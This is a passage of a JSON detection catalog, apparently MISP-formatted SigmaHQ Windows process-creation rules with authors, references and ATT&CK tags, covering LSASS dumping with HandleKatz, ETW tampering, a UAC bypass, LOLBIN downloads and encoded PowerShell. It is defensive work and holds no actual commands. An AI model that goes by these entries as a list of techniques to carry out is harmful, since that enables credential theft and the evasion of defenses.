        "filename": "proc_creation_win_browsers_chromium_headless_exec.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html",
          "https://twitter.com/mrd0x/status/1478234484881436672?s=12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_exec.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ef9dcfed-690c-4c5d-a9d1-482cd422225c",
      "value": "Browser Execution In Headless Mode"
    },
    {
      "description": "Detects potentially suspicious child processes of WinRAR.exe.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/31",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_winrar_susp_child_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/",
          "https://github.com/knight0x07/WinRAR-Code-Execution-Vulnerability-CVE-2023-38831/blob/26ab6c40b6d2c09bb4fc60feaa4a3a90cfd20c23/Part-1-Overview.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_susp_child_process.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1203"
        ]
      },
      "related": [
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "146aace8-9bd6-42ba-be7a-0070d8027b76",
      "value": "Potentially Suspicious Child Process Of WinRAR.EXE"
    },
    {
      "description": "Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/03/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_taskmgr_localsystem.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskmgr_localsystem.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9fff585c-c33e-4a86-b3cd-39312079a65f",
      "value": "Taskmgr as LOCAL_SYSTEM"
    },
    {
      "description": "Detects suspicious execution of \"PDQDeployRunner\" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/22",
        "falsepositive": [
          "Legitimate use of the PDQDeploy tool to execute these commands"
        ],
        "filename": "proc_creation_win_pdqdeploy_runner_susp_children.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/malmoeb/status/1550483085472432128",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_runner_susp_children.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "12b8e9f5-96b2-41e1-9a42-8c6779a5c184",
      "value": "Suspicious Execution Of PDQDeployRunner"
    },
    {
      "description": "Detects changes to environment variables related to ETW logging. This could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_susp_etw_modification_cmdline.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38",
          "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39",
          "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables",
          "http://managed670.rssing.com/chan-5590147/all_p1.html",
          "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_",
          "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf",
          "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr",
          "https://twitter.com/_xpn_/status/1268712093928378368",
          "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code",
          "https://bunnyinside.com/?term=f71e8cb9c76a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_modification_cmdline.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "41421f44-58f9-455d-838a-c398859841d4",
      "value": "ETW Logging Tamper In .NET Processes"
    },
    {
      "description": "Detects execution of \"findstr\" to search for common names of security tools. Attackers often pipe the results of recon commands such as \"tasklist\" or \"whoami\" to \"findstr\" in order to filter out the results.\nThis detection focuses on the keywords that the attacker might use as a filter.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), frack113",
        "creation_date": "2023/10/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_findstr_security_keyword_lookup.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/",
          "https://www.hhs.gov/sites/default/files/manage-engine-vulnerability-sector-alert-tlpclear.pdf",
          "https://github.com/redcanaryco/atomic-red-team/blob/987e3ca988ae3cff4b9f6e388c139c05bf44bbb8/atomics/T1518.001/T1518.001.md#atomic-test-1---security-software-discovery",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_security_keyword_lookup.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1518.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4fe074b4-b833-4081-8f24-7dcfeca72b42",
      "value": "Security Tools Keyword Lookup Via Findstr.EXE"
    },
    {
      "description": "Detects the execution of sigverif binary as a parent process which could indicate it being used as a LOLBIN to proxy execution",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_sigverif.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/",
          "https://twitter.com/0gtweet/status/1457676633809330184",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1216"
        ]
      },
      "related": [
        {
          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7d4aaec2-08ed-4430-8b96-28420e030e04",
      "value": "Suspicious Sigverif Execution"
    },
    {
      "description": "Detects scheduled task creations or modification on a suspicious schedule type",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Legitimate processes that run at logon. Filter according to your environment"
        ],
        "filename": "proc_creation_win_schtasks_schedule_type.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create",
          "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_type.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "24c8392b-aa3c-46b7-a545-43f71657fe98",
      "value": "Suspicious Schtasks Schedule Types"
    },
    {
      "description": "Detects usage of the \"ConvertTo-SecureString\" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity",
      "meta": {
        "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton",
        "creation_date": "2020/10/11",
        "falsepositive": [
          "Legitimate use to pass password to different powershell commands"
        ],
        "filename": "proc_creation_win_powershell_cmdline_convertto_securestring.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65",
          "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7.3#examples",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "74403157-20f5-415d-89a7-c505779585cf",
      "value": "ConvertTo-SecureString Cmdlet Usage Via CommandLine"
    },
    {
      "description": "Detects usage of Sysinternals PsSuspend which can be abused to suspend critical processes",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sysinternals_pssuspend_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1638069413717975046",
          "https://learn.microsoft.com/en-us/sysinternals/downloads/pssuspend",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_pssuspend_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.persistence",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "48bbc537-b652-4b4e-bd1d-281172df448f",
      "value": "Sysinternals PsSuspend Execution"
    },
    {
      "description": "Detects uncommon child processes of the Add-In deployment cache updating utility (AddInutil.exe) which could be a sign of potential abuse of the binary to proxy execution via a custom Addins.Store payload.\n",
      "meta": {
        "author": "Michael McKinley (@McKinleyMike), Tony Latteri (@TheLatteri)",
        "creation_date": "2023/09/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_addinutil_uncommon_child_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_child_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b5746143-59d6-4603-8d06-acbd60e166ee",
      "value": "Uncommon Child Process Of AddinUtil.EXE"
    },
    {
      "description": "Download and compress a remote file and store it in a cab file on local machine.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_diantz_remote_cab.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Diantz/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "185d7418-f250-42d0-b72e-0c8b70661e93",
      "value": "Suspicious Diantz Download and Compress Into a CAB File"
    },
    {
      "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/05",
        "falsepositive": [
          "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process."
        ],
        "filename": "proc_creation_win_susp_ntfs_short_name_use_cli.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/jonasLyk/status/1555914501802921984",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN",
          "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_use_cli.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dd6b39d9-d9be-4a3b-8fe0-fe3c6a5c1795",
      "value": "Use NTFS Short Name in Command Line"
    },
    {
      "description": "Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_handlekatz.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/codewhitesec/HandleKatz",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_handlekatz.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ca621ba5-54ab-4035-9942-d378e6fcde3c",
      "value": "HackTool - HandleKatz LSASS Dumper Execution"
    },
    {
      "description": "Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community",
        "creation_date": "2018/09/03",
        "falsepositive": "No established falsepositives",
        "filename": "proc_creation_win_powershell_base64_encoded_cmd.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_encoded_cmd.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ca2092a1-c273-4878-9b4b-0d60115bf5ea",
      "value": "Suspicious Encoded PowerShell Command Line"
    },
    {
      "description": "Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.",
      "meta": {
        "author": "frack113, Florian Roth",
        "creation_date": "2022/09/02",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_pua_frp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/fatedier/frp",
          "https://asec.ahnlab.com/en/38156/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_frp.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1090"
        ]
      },
      "related": [
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "32410e29-5f94-4568-b6a3-d91a8adad863",
      "value": "PUA - Fast Reverse Proxy (FRP) Execution"
    },
    {
      "description": "Detects the usage of the \"sftp.exe\" binary as a LOLBIN by abusing the \"-D\" flag",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/11/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_sftp.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/LOLBAS-Project/LOLBAS/pull/264",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a85ffc3a-e8fd-4040-93bf-78aff284d801",
      "value": "Use Of The SFTP.EXE Binary As A LOLBIN"
    },
    {
      "description": "Detects the \"IDiagnosticProfileUAC\" UAC bypass technique",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_idiagnostic_profile.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Wh04m1001/IDiagnosticProfileUAC",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4cbef972-f347-4170-b62a-8253f6168e6d",
      "value": "UAC Bypass Using IDiagnostic Profile"
    },
    {
      "description": "Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility",
      "meta": {
        "author": "Alexander Rausch",
        "creation_date": "2020/06/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_redmimicry_winnti_playbook.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redmimicry.com/posts/redmimicry-winnti/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_redmimicry_winnti_playbook.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1106",
          "attack.t1059.003",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
          "tags": [
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "95022b85-ff2a-49fa-939a-d7b8f56eeb9b",
      "value": "HackTool - RedMimicry Winnti Playbook Execution"
    },
    {
      "description": "Detects suspicious DACL modifications to allow access to a service from a suspicious trustee. This can be used to override access restrictions set by previous ACLs.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sc_sdset_allow_service_changes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings",
          "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/",
          "https://twitter.com/0gtweet/status/1628720819537936386",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_allow_service_changes.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6c8fbee5-dee8-49bc-851d-c3142d02aa47",
      "value": "Allow Service Access Using Security Descriptor Tampering Via Sc.EXE"
    },
    {
      "description": "Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_bash_file_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://linux.die.net/man/1/bash",
          "https://lolbas-project.github.io/lolbas/Binaries/Bash/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bash_file_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2d22a514-e024-4428-9dba-41505bd63a5b",
      "value": "Indirect Command Execution From Script File Via Bash.EXE"
    },
    {
      "description": "Detects the presence of the keywords \"Wscript\", \"Shell\" and \"Run\" in the command, which could indicate a suspicious activity",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/31",
        "falsepositive": [
          "Inline scripting can be used by some rare third party applications or administrators. Investigate and apply additional filters accordingly"
        ],
        "filename": "proc_creation_win_mshta_inline_vbscript.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.talosintelligence.com/modernloader-delivers-multiple-stealers-cryptominers-and-rats/",
          "https://web.archive.org/web/20220830122045/http://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_inline_vbscript.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2c28c248-7f50-417a-9186-a85b223010ee",
      "value": "Wscript Shell Run In CommandLine"
    },
    {
      "description": "detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/14",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_conhost_path_traversal.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2020/07/06/indirect-command-execution/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_path_traversal.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ee5e119b-1f75-4b34-add8-3be976961e39",
      "value": "Conhost.exe CommandLine Path Traversal"
    },
    {
      "description": "Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls",
      "meta": {
        "author": "pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t",
        "creation_date": "2022/05/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_base64_invoke.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_invoke.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6385697e-9f1b-40bd-8817-f4a91f40508e",
      "value": "PowerShell Base64 Encoded Invoke Keyword"
    },
    {
      "description": "Detects execution of a renamed autohotkey.exe binary based on PE metadata fields",
      "meta": {
        "author": "Nasreddine Bencherchali",
        "creation_date": "2023/02/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_autohotkey.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/",
          "https://www.autohotkey.com/download/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_autohotkey.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "0f16d9cf-0616-45c8-8fad-becc11b5a41c",
      "value": "Renamed AutoHotkey.EXE Execution"
    },
    {
      "description": "This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n",
      "meta": {
        "author": "Agro (@agro_sev) oscd.community",
        "creation_date": "2020/10/10",
        "falsepositive": [
          "Direct PS command execution through SQLPS.exe is uncommon, childprocess sqlps.exe spawned by sqlagent.exe is a legitimate action."
        ],
        "filename": "proc_creation_win_mssql_sqlps_susp_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15",
          "https://twitter.com/bryon_/status/975835709587075072",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_sqlps_susp_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0152550d-3a26-4efd-9f0e-54a0b28ae2f3",
      "value": "Detection of PowerShell Execution via Sqlps.exe"
    },
    {
